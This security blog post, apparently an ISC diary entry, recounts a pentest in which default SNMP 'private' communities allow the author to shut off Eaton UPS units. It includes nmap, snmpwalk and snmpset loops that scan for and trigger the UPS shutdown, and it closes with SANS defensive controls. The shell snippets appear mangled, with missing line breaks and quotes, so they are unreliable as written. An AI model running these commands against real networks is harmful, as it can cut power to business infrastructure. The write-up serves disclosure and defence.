Sometimes getting access to company assets is very complicated. Sometimes it is much easier (read: too easy) than expected. If one of the goals of a pentester is to get juicy information about the target, preventing the IT infrastructure to run efficiently (deny of service) is also a win. Indeed, in some business fields, if the infrastructure is not running, the business is impacted and the company may lose a lot of money. Think about traders.
I was recently involved in a pentest with the goal to test the customers internal network. The scope was easy: to come on site,connect your laptop to a free network port and see what you can find/do. In such scenario, the breaking point is to successfully be connected to the network. If Mr DHCP is kind enough to provide you an IP address, you are in and you may consider the network as already compromised. This was the case for me, no protection against rogue devices, no network access control. I launched my Ettercap and started to sniff some packets playing MitM. I immediately grabbed some nice SNMP packets with interesting communities like public and private. As you probably know, those are the default ones on many systems. public provides usually a read-only access and private is used in read-write mode. Often, I hear this comment: But SNMP is just a monitoring protocol, why should I care?. Wrong! SNMP, as described by RFC 3411[1], meansSimple Network Management Protocol and not Monitoring Protocol. If you have SNMP read access to a device, you can collect interesting information (version, processes, IP information, health) for the reconnaissance phase. But if you have SNMP write access to a device, you can alter his configuration and cause much more damages
During"> # nmap -Pn -sU -p 161 -v -oA snmp 192.168.1.0/24# grep 161/open/udp snmp.gnmap | awk { print $2 } | while read IPdo snmpwalk -v1 -c private $IP /dev/null 21 if [ $? == 0 then echo $IP accepts private community echo $IP vulnerable_ip.tmp fidone
The next step was to identify the vulnerable devices. This information is discoverable with the OID"> # snmpwalk -v1 -On -c xxxxxxxxx 192.168.254.4 SNMPv2-MIB::sysDescr.0.1.3.6.1.2.1.1.1.0 = STRING: Cisco IOS Software, C1600 Software (AP1G2-K9W7-M), Version 15.2(2)JB2, RELEASE SOFTWARE (fc1)
Guess what? Most vulnerable devices were UPS management systems configured with default settings or, more precisely, not configured at all. The next step was to browse the vendor MIB (Management Information Base). The vendor ID was534 and is assigned to Eaton Corporation [2]. The MIB reveals someinteresting read/write OIDs like this one: 1.3.6.1.4.1.534.1.9.1. This OID is called xupsControlOutputOffDelay. Here is the description:
Setting this value to other than zero will cause the UPS output to turn off after the number of seconds. Setting it to 0 will cause an attempt to abort a pending shutdown.
We are close to perform a nice DoS against the customers infrastructure. How? A simple snmpset command will help us. Let"> for IP in cat vulnerable_ip.tmpdo snmpset -c private -v1 $IP 1.3.6.1.4.1.534.1.9.1 i 10 echo -n $IP d=10 do echo -n . done echo Tango down!done
Game over! Note that this is a proof of concept. In most pentestengagements, youre not allowed to perform such actions.
It is a pity that such very simple attack is still possible in 2016! If the customer followed the SANS Top-20 controls[3], this attack wouldnt be possible:
- CSC1 -Inventory of authorized and unauthorized devices
- CSC4 -Continuous vulnerability scanning, assessment, and remediation
- CSC9 -Limitation and control of network ports, protocols, and services
- CSC11 -Secure configuration for network devices such as firewalls, routers, and switches
[1] https://www.ietf.org/rfc/rfc3411.txt
[2] https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
[3]https://www.sans.org/media/critical-security-controls/critical-controls-poster-2016.pdf
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key